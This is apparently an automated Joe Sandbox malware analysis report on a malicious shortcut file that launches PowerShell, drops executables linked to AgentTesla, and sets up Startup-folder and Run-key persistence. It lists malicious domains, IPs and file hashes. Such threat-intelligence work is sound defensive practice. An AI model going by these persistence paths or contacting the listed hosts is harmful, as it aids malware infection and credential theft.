https://contoso.com/	powershell.exe, 00000000.00000002.2287618621.0000022137800000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000000.00000002.2287618621.00000221376BD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2287618621.0000022137800000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.microsoft.co	powershell.exe, 00000000.00000002.2296430995.000002213F920000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contoso.com/License	powershell.exe, 00000000.00000002.2287618621.0000022137800000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ip-api.com	RegSvcs.exe, 00000008.00000002.2567429663.0000000003401000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.3370850966.0000000002931000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://contoso.com/Icon	powershell.exe, 00000000.00000002.2287618621.0000022137800000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://oootorgline.ru	powershell.exe, 00000000.00000002.2262113733.0000022128C30000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://aka.ms/pscore68	powershell.exe, 00000000.00000002.2262113733.0000022127651000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.ipify.org/t	RegSvcs.exe, 00000008.00000002.2567429663.00000000033B1000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.3370850966.00000000028EC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000000.00000002.2262113733.0000022127651000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000008.00000002.2567429663.00000000033B1000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.3370850966.00000000028EC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://techniqueqatar.com	RegSvcs.exe, 00000008.00000002.2567429663.00000000034CB000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000008.00000002.2567429663.000000000343E000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.3370850966.0000000002989000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.3370850966.0000000002A17000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://github.com/Pester/Pester	powershell.exe, 00000000.00000002.2262113733.0000022127882000.00000004.00000800.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
208.91.198.176	techniqueqatar.com	United States	394695	PUBLIC-DOMAIN-REGISTRYUS	true
208.95.112.1	ip-api.com	United States	53334	TUT-ASUS	true
176.99.3.36	oootorgline.ru	Russian Federation	197695	AS-REGRU	true
104.26.13.205	unknown	United States	13335	CLOUDFLARENETUS	false
172.67.74.152	api.ipify.org	United States	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1520403
Start date and time:	2024-09-27 10:38:10 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 2s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	RTGS-WB-ABS-240730-NEW.lnk
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winLNK@17/13@8/5
EGA Information:	Successful, ratio: 40%
HCA Information:	Successful, ratio: 100% Number of executed functions: 151 Number of non-executed functions: 4
Cookbook Comments:	Found application associated with file extension: .lnk

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target aWUFv.exe, PID 2120 because it is empty
Execution Graph export aborted for target aWUFv.exe, PID 3884 because it is empty
Execution Graph export aborted for target powershell.exe, PID 1824 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: RTGS-WB-ABS-240730-NEW.lnk

Simulations

Behavior and APIs

Time	Type	Description
04:39:07	API Interceptor	43x Sleep call for process: powershell.exe modified
04:39:28	API Interceptor	88671x Sleep call for process: RegSvcs.exe modified
10:39:29	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\recomplaint.vbs
10:39:42	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run aWUFv C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe
10:39:50	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run aWUFv C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
208.95.112.1	Payment.js	Get hash	malicious	WSHRAT	Browse	ip-api.com/json/
	17273903480db0ad761710af8e624417944f4f8d39d0a8e65a343113de75e06efab5a25c3f534.dat-decoded.exe	Get hash	malicious	Clipboard Hijacker, Quasar	Browse	ip-api.com/json/
	file.exe	Get hash	malicious	Quasar, WhiteSnake Stealer	Browse	ip-api.com/line?fields=query,country
	REQUEST FOR QUOTATION.js	Get hash	malicious	PXRECVOWEIWOEI Stealer, PureLog Stealer	Browse	ip-api.com/line/?fields=hosting
	DSR0987678900000.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	Proof Of Payment.js	Get hash	malicious	WSHRAT	Browse	ip-api.com/json/
	450230549.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	SecuriteInfo.com.Win32.Malware-gen.27656.20815.exe	Get hash	malicious	Blackshades, Quasar	Browse	ip-api.com/json/
	nDHL_AWB_6078538091_scr.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	CCE_000110.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
104.26.13.205	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Stealc, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse	api.ipify.org/
	SecuriteInfo.com.Win64.Evo-gen.13899.14592.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	api.ipify.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ip-api.com	Payment.js	Get hash	malicious	WSHRAT	Browse	208.95.112.1
	17273903480db0ad761710af8e624417944f4f8d39d0a8e65a343113de75e06efab5a25c3f534.dat-decoded.exe	Get hash	malicious	Clipboard Hijacker, Quasar	Browse	208.95.112.1
	file.exe	Get hash	malicious	Quasar, WhiteSnake Stealer	Browse	208.95.112.1
	REQUEST FOR QUOTATION.js	Get hash	malicious	PXRECVOWEIWOEI Stealer, PureLog Stealer	Browse	208.95.112.1
	DSR0987678900000.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	Proof Of Payment.js	Get hash	malicious	WSHRAT	Browse	208.95.112.1
	450230549.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	SecuriteInfo.com.Win32.Malware-gen.27656.20815.exe	Get hash	malicious	Blackshades, Quasar	Browse	208.95.112.1
	nDHL_AWB_6078538091_scr.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	CCE_000110.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
api.ipify.org	Purchase order.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	https://mzansibonds.com/dshk/tmpasdfghjklkjhgfdewertyuioiuytresdxcvbnmnbvfcdsew345678987654rewsdfvgbhnjhbgvfdesw23e45678uijdhgfcsvzbdncqasdcxw.php	Get hash	malicious	HTMLPhisher	Browse	104.26.13.205
	http://correctingservicesalakks.pages.dev/	Get hash	malicious	Unknown	Browse	104.26.12.205
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse	104.26.12.205
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse	104.26.12.205
	https://lothanse-heracklarne.pages.dev/help/contact/547074160798771	Get hash	malicious	HTMLPhisher	Browse	104.26.13.205
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse	172.67.74.152
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Stealc, Vidar	Browse	104.26.13.205
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse	104.26.13.205
	https://docs.zoom.us/doc/c63Sae4RQ6OyTcxmh_zLzw?from=email&data=05%7C02%7CRyan.Deiter@americansignature.com%7Ce3b8b957491b4e36dfd108dcde65b619%7C5c02e89ab9684d4e960de62c7cd02766%7C0%7C0%7C638629775655136517%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0=%7C0%7C%7C%7C&sdata=RMvLQDF1y92hR5HKChbiO0e0aKONAOKzPjDkQ4i5MTY=&reserved=0	Get hash	malicious	Unknown	Browse	172.67.74.152

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
PUBLIC-DOMAIN-REGISTRYUS	Dekont.rar.xlxs.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	119.18.54.39
	http://labanquepostale.jupiter-analytics.com/thierry--_--.barbier/brigitte.--_--boissel@/francoise--_--.mariani@/salvatore--_--.fazzalari	Get hash	malicious	Unknown	Browse	162.222.225.80
	https://www.google.com/url?q=3HOSozuuQiApLjODz3yh&rct=tTPSJ3J3wDFX0jkXyycT&sa=t&esrc=WSECxFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ9mfdQ6lDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp/p%C2%ADep%C2%ADe%C2%ADm%C2%ADu%C2%ADj%C2%ADi%C2%ADc%C2%ADa%C2%AD.%C2%ADc%C2%ADom/hj	Get hash	malicious	Unknown	Browse	162.215.254.118
	http://labanquepostale.jupiter-analytics.com/thierry--_--.barbier/brigitte.--_--boissel@/francoise--_--.mariani@/salvatore--_--.fazzalari/	Get hash	malicious	Unknown	Browse	162.222.225.80
	SecuriteInfo.com.W32.Autoit.AOY.gen.Eldorado.13807.19631.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	208.91.199.225
	Halkbank_Ekstre_22#U202693.25.09.24.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	119.18.54.39
	z84TTREMITTANCEUSD347_432_63.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	208.91.198.143
	z9OutstandingPayment.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	208.91.199.223
	http://www.tri-star.in/mn/onedrive.html	Get hash	malicious	Unknown	Browse	208.91.198.225
	PAYSLIP.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	208.91.199.224
AS-REGRU	PO For Bulk Order.exe	Get hash	malicious	FormBook	Browse	31.31.196.17
	UMOWA_PD.BAT.exe	Get hash	malicious	FormBook, GuLoader	Browse	194.58.112.174
	CSBls4grBI.exe	Get hash	malicious	LummaC, Socks5Systemz	Browse	194.58.114.223
	0435.pdf.exe	Get hash	malicious	SmokeLoader	Browse	194.58.112.174
	AWB_5771388044 Documenti di spedizione.exe	Get hash	malicious	FormBook	Browse	194.58.112.174
	PO2024033194.exe	Get hash	malicious	FormBook	Browse	194.58.112.174
	RECIEPT.PDF.exe	Get hash	malicious	FormBook	Browse	194.58.112.174
	SecuriteInfo.com.Win32.TrojanX-gen.1325.25139.exe	Get hash	malicious	Amadey, CryptOne, LummaC Stealer, PureLog Stealer, RedLine, Stealc, Vidar	Browse	194.58.114.223
	http://xn--r1a.website/s/ogorodru	Get hash	malicious	Unknown	Browse	194.67.71.75
	ncOLm62YLB.exe	Get hash	malicious	FormBook	Browse	194.58.112.174
CLOUDFLARENETUS	#docs_8299010377388200191-pdf.js	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	162.159.129.233
	AGMETIGA zapytanie ofertowe.xls	Get hash	malicious	PureLog Stealer	Browse	172.67.179.215
	175-33-26-24.HTA.hta	Get hash	malicious	Unknown	Browse	104.16.231.132
	Dekont.rar.xlxs.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	dekont.pdf.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	Ziraat Bankasi Swift Mesaji.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	Purchase Inquiry-0012.xls	Get hash	malicious	Unknown	Browse	104.21.64.88
	QT2Q1292.xla.xlsx	Get hash	malicious	FormBook	Browse	104.21.64.88
	https://bgbonline.cecchinatoonline.top/	Get hash	malicious	HtmlDropper	Browse	188.114.96.3
	QUOTATION_SEPQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
TUT-ASUS	Payment.js	Get hash	malicious	WSHRAT	Browse	208.95.112.1
	17273903480db0ad761710af8e624417944f4f8d39d0a8e65a343113de75e06efab5a25c3f534.dat-decoded.exe	Get hash	malicious	Clipboard Hijacker, Quasar	Browse	208.95.112.1
	file.exe	Get hash	malicious	Quasar, WhiteSnake Stealer	Browse	208.95.112.1
	REQUEST FOR QUOTATION.js	Get hash	malicious	PXRECVOWEIWOEI Stealer, PureLog Stealer	Browse	208.95.112.1
	DSR0987678900000.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	Proof Of Payment.js	Get hash	malicious	WSHRAT	Browse	208.95.112.1
	450230549.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	SecuriteInfo.com.Win32.Malware-gen.27656.20815.exe	Get hash	malicious	Blackshades, Quasar	Browse	208.95.112.1
	nDHL_AWB_6078538091_scr.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	0umBa15TaN.exe	Get hash	malicious	Unknown	Browse	208.95.112.1
CLOUDFLARENETUS	#docs_8299010377388200191-pdf.js	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	162.159.129.233
	AGMETIGA zapytanie ofertowe.xls	Get hash	malicious	PureLog Stealer	Browse	172.67.179.215
	175-33-26-24.HTA.hta	Get hash	malicious	Unknown	Browse	104.16.231.132
	Dekont.rar.xlxs.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	dekont.pdf.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	Ziraat Bankasi Swift Mesaji.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	Purchase Inquiry-0012.xls	Get hash	malicious	Unknown	Browse	104.21.64.88
	QT2Q1292.xla.xlsx	Get hash	malicious	FormBook	Browse	104.21.64.88
	https://bgbonline.cecchinatoonline.top/	Get hash	malicious	HtmlDropper	Browse	188.114.96.3
	QUOTATION_SEPQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	#docs_8299010377388200191-pdf.js	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.26.13.205 176.99.3.36 172.67.74.152
	Dekont.rar.xlxs.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.26.13.205 176.99.3.36 172.67.74.152
	https://ojbkjs.vip/yb.js	Get hash	malicious	Unknown	Browse	104.26.13.205 176.99.3.36 172.67.74.152
	QUOTATION_SEPQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	104.26.13.205 176.99.3.36 172.67.74.152
	file.exe	Get hash	malicious	Unknown	Browse	104.26.13.205 176.99.3.36 172.67.74.152
	Purchase order.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205 176.99.3.36 172.67.74.152
	https://jbrizuelablplegal.taplink.ws/	Get hash	malicious	HTMLPhisher	Browse	104.26.13.205 176.99.3.36 172.67.74.152
	http://home-103607.weeblysite.com/	Get hash	malicious	HTMLPhisher	Browse	104.26.13.205 176.99.3.36 172.67.74.152
	http://brawllstars.ru/	Get hash	malicious	HTMLPhisher	Browse	104.26.13.205 176.99.3.36 172.67.74.152
	https://tiktomallapp.top/	Get hash	malicious	Unknown	Browse	104.26.13.205 176.99.3.36 172.67.74.152

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe	shipping documents.exe	Get hash	malicious	AgentTesla	Browse
	shipping documents.exe	Get hash	malicious	AgentTesla	Browse
	autorization Letter.exe	Get hash	malicious	AgentTesla	Browse
	rMT103SwiftCopyoFPayment.exe	Get hash	malicious	AgentTesla	Browse
	Shipping Document.exe	Get hash	malicious	AgentTesla	Browse
	COMMERCAIL INVOICE AND TNT AWB TRACKING INVOICE.exe	Get hash	malicious	AgentTesla	Browse
	DHL- CBJ520818836689.pdf.exe	Get hash	malicious	AgentTesla	Browse
	DHL- CBJ520818836689.exe	Get hash	malicious	AgentTesla	Browse
	Shipping documents.exe	Get hash	malicious	AgentTesla	Browse
	Shipping doc.exe	Get hash	malicious	AgentTesla	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\aWUFv.exe.log

Download File

Process:	C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	142
Entropy (8bit):	5.090621108356562
Encrypted:	false
SSDEEP:	3:QHXMKa/xwwUC7WglAFXMWA2yTMGfsbNRLFS9Am12MFuAvOAsDeieVyn:Q3La/xwczlAFXMWTyAGCDLIP12MUAvvw
MD5:	8C0458BB9EA02D50565175E38D577E35
SHA1:	F0B50702CD6470F3C17D637908F83212FDBDB2F2
SHA-256:	C578E86DB701B9AFA3626E804CF434F9D32272FF59FB32FA9A51835E5A148B53
SHA-512:	804A47494D9A462FFA6F39759480700ECBE5A7F3A15EC3A6330176ED9C04695D2684BF6BF85AB86286D52E7B727436D0BB2E8DA96E20D47740B5CE3F856B5D0F
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.EnterpriseServices, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul51Tz:NllU
MD5:	63C202BE9DBE08688DBCF921992E089A
SHA1:	AA18D35F50D15566FA375F9FDB030CDBEE26F777
SHA-256:	4CB3BC30A57F1DEFAE2677102DA2CC3FAAF8D402CF25D247EFC4A5242C2C986B
SHA-512:	C43049499F7E07BE8DFE945AB801FB2E39AB0BA55F2E8A884FFDAC7A56C0E80BF188033218FE9B28A8374EB5843B462A8BF7F15E1D74162A641F470AD989B392
Malicious:	false
Preview:	@...e.................................h.T............@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_03z3klie.fhq.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_duy0shnp.1z5.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\file.exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1305263
Entropy (8bit):	7.126088648073379
Encrypted:	false
SSDEEP:	24576:SRmJkcoQricOIQxiZY1iabicPx38FUk+0:HJZoQrbTFZY1iabXMakz
MD5:	AA6F514A7AFA81E26BCF612923EA483C
SHA1:	2033A141125D0A0989EF3C0002833BACF0A390C7
SHA-256:	997C285947AE58D2ACFB5C0B32ADFA7288168FAA5AA691D094F5FFD9A9728A3A
SHA-512:	F8D0475754589E9D57462AC8A13820132714FF682A8655E1CA95D037FB2E65F62815A79AF855B4E2707CF9CB5A9EE35E262CBA4D277B90AD823BCFE4D1D5D335
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................1b.....P.)....Q.....y.....i.......}...N......d.....`.....m.....g....Rich............PE..L....%O..........#..................e....... ....@...........................................@.......@.........................T.................................................................................... ..D............................text............................... ..`.rdata....... ......................@..@.data...X........h..................@....rsrc................T..............@..@........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\flexuoseness

Download File

Process:	C:\Users\user\AppData\Local\Temp\file.exe
File Type:	data
Category:	dropped
Size (bytes):	255488
Entropy (8bit):	6.393938792111984
Encrypted:	false
SSDEEP:	6144:doyZbDFiQod72ZcwXA3S1kxC4qrseWDHg19G6AU4ZH:dTxi72aNC1yqIPwbAU4h
MD5:	074728216283AD6FA8777C82DFBB55DE
SHA1:	92DF63CBAB81835463BA54F6791BD6A2944646A9
SHA-256:	D63FB30628DC1C5DAB8172821C1A68765ACF307C695732A3BF8111095EB177BB
SHA-512:	260C4965D0AD3DAC2E2F35F05EDEF93B8F9581830F7F00ADC73413C05C01E4864B4D5BC7A6A6E7B53C3022ABBA60A5DC524F43ED5BD096D203ABD7191C493900
Malicious:	false
Preview:	...ZDSK4\J4X..ZG.K4XJ4XS.ZGSK4XJ4XSIZGSK4XJ4XSIZGSK4XJ4XSIZG.K4XD+.]I.N.j.Y..y.!34s;F7-F9>i9&=%[,jV=s;/)s"Zx.{.s$5#6e9U@.XSIZGSKd.J4.RJZ;.yRXJ4XSIZG.K6YA5SSI.DSK<XJ4XSI$.PK4xJ4XSMZGS.4Xj4XSKZGWK4XJ4XSMZGSK4XJ4.WIZESK4XJ4ZS..GS[4XZ4XSIJGS[4XJ4XSYZGSK4XJ4XSIv.PK{XJ4XSMZ.VK4XJ4XSIZGSK4XJ4XSIzCSG4XJ4XSIZGSK4XJ4XSIZGSK4XJ4XSIZGSK4XJ4XSIZGSK4XJ4XSIZgSK<XJ4XSIZGSK4Pj4X.IZGSK4XJ4XSg."+?4XJ..PIZgSK4.I4XQIZGSK4XJ4XSIZGsK48dF+!ZGS.1XJ4XWIZASK4.I4XSIZGSK4XJ4X.IZ.}9Q4%WXSEZGSK.\J4ZSIZ.PK4XJ4XSIZGSK4.J4.SIZGSK4XJ4XSIZGS+.[J4XSI.GSK6XO4..KZ..J4[J4XRIZASK4XJ4XSIZGSK4XJ4XSIZGSK4XJ4XSIZGSK4XJ4XSIZGSK4XW....m.If@V_.o. .H..Y....H.^.#^....W...mA^..Z.\{..=...2.C1!K.....3@EV"g/\|F;.N....y'...U%."...-{.)Uo.q..uj....;,.l..=..0$Yv+D(?,t.2-U*#.Z.HZGSK........+.nuI;Fg["....~& ....54XJPXSI(GSKUXJ4.SIZ(SK46J4X-IZG-K4X.4XS.ZGS\|4XJ.XSI7GSK.XJ4&SIZ..D;...1 .GSK4X...c.7...k.}....+.-.V`..7....Ng.E\.$.....:._..^.,Uhz.M5^WLX@WH8eD....{EWO1ZM0[_tT....y...p..:..g".5ZGSK4X.4X.IZG..4.J4X.I.G..4XJ..S.Z.S..J

C:\Users\user\AppData\Local\unspattered\recomplaint.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1305263
Entropy (8bit):	7.126088648073379
Encrypted:	false
SSDEEP:	24576:SRmJkcoQricOIQxiZY1iabicPx38FUk+0:HJZoQrbTFZY1iabXMakz
MD5:	AA6F514A7AFA81E26BCF612923EA483C
SHA1:	2033A141125D0A0989EF3C0002833BACF0A390C7
SHA-256:	997C285947AE58D2ACFB5C0B32ADFA7288168FAA5AA691D094F5FFD9A9728A3A
SHA-512:	F8D0475754589E9D57462AC8A13820132714FF682A8655E1CA95D037FB2E65F62815A79AF855B4E2707CF9CB5A9EE35E262CBA4D277B90AD823BCFE4D1D5D335
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................1b.....P.)....Q.....y.....i.......}...N......d.....`.....m.....g....Rich............PE..L....%O..........#..................e....... ....@...........................................@.......@.........................T.................................................................................... ..D............................text............................... ..`.rdata....... ......................@..@.data...X........h..................@....rsrc................T..............@..@........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\746c438e21160650.customDestinations-ms (copy)

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	5407
Entropy (8bit):	3.5105508922189017
Encrypted:	false
SSDEEP:	48:NHuNdDkWDa0+/EIlHJwSogZo2U+/EIlLwSogZoi1:NHYBD+/EI5HM+/EIfHp
MD5:	1ECEC74ABDE16C2B31F1F016C69C67C4
SHA1:	1A436EADC904F0D94A2FD835214950177844EF05
SHA-256:	53F06443F7B7EDDF2D9668C2649E57B1AFDAA1D538E5DC6DFF9D53427E4C8A4B
SHA-512:	FED88A983F4D51213417F47BF7633BD938481231EA2CC614E4F7E4A385FD2C8B2C6F199D231758B81046315A005BF06FE13A3D7A2DE10E8B67B297D19C7FCFAB
Malicious:	false
Preview:	...................................FL..................F.`.. ...,...W....\|......K...................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.........S....!..W....\|.........2.....;Y.D .RTGS-W~1.LNK..f......EW.5;Y.D..........................3...R.T.G.S.-.W.B.-.A.B.S.-.2.4.0.7.3.0.-.N.E.W...l.n.k.......c...............-.......b...........k.......C:\Users\user\Desktop\RTGS-WB-ABS-240730-NEW.lnk../.C.:.\.U.s.e.r.s.\.a.d.m.i.n.\.D.e.s.k.t.o.p.\.p.u.r.c.h.a.s._.g.e.o._.N.J.F._.i.c.o.n...i.c.o.........%SystemDrive%\Users\admin\Desktop\purchas_geo_NJF_icon.ico..........................................................................................................................................................................................................%.S.y.s.t.e.m.D.r.i.v.e.%.\.U.s.e.r.s.\.a.d.m.i.n.\.D.e.s.k.t.o.p.\.p.u.r.c.h.a.s._.g.e.o._.N.J.F._.i.c.o.n...i.c.o..................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\G43DTOBPZAS7WZLARAO3.temp

Download File

